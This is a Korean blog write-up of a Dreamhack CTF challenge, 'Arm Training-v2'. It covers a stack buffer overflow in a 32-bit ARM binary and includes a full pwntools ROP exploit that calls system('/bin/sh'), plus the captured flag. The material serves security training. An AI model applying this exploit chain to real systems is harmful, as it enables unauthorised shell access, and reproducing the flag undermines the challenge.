콘텐츠로 건너뛰기

Arm Training-v2

Description

셸을 획득하여 /flag를 읽어주세요!

checksec

[*] '/home/ubuntu/Documents/CTF/arm-training-v2/arm_training-v2'
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x10000)

Decompiled-src

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[24]; // [sp+4h] [bp-18h] BYREF

  init(argc, argv, envp);
  read(0, buf, 200u);
  return 0;
}

마찬가지로 24바이트 할당된 buf에 200바이트 만큼 입력받으므로,
버퍼오버플로우가 발생한다.

gadget1

int gadget1()
{
  return system((const char *)id);
}

gadget2

int gadget2()
{
  return puts("/bin/sh");
}

이번 문제에서는 쉘을 호출할 수 있는 system("/bin/sh") 가 없다.

가젯을 활용해야 한다.


Solution

from pwn import *
#context.log_level = 'debug'
context(arch='arm',os='linux')
warnings.filterwarnings('ignore')

#p = process("./arm_training-v2")
p = remote("host3.dreamhack.games", 15373)

pop_r3_pc = 0x10608
bin_sh = 0x106a4
mov_r0_r3_system = 0x10598

payload = b""
payload += b"A"*24
payload += p32(pop_r3_pc)
payload += p32(bin_sh)
payload += p32(mov_r0_r3_system)

p.send(payload)

p.interactive()

pop r3, pc어셈블리어 명령을 통해 레지스터 r3에 값을 로드시키는데,
이 r3 레지스터에 /bin/sh 문자열 주소가 들어가도록 한다.

그 다음에는 프로그램 카운터 레지스터(pc)에 저장된 주소로 분기하는데,
mov r0, r3; BL system 주소로 가리키게 만들면 쉘을 획득할 수 있었다.

Result

ubuntu@instance-20230517-1532:~/Documents/CTF/arm-training-v2$ python3 solve.py
[+] Opening connection to host3.dreamhack.games on port 23897: Done
[*] Switching to interactive mode
$ cat /flag
DH{49AD4F9C3D6B72A8E5DE3D71EB435E1791041BCB130939DA82912F0423001CF2}
태그:

답글 남기기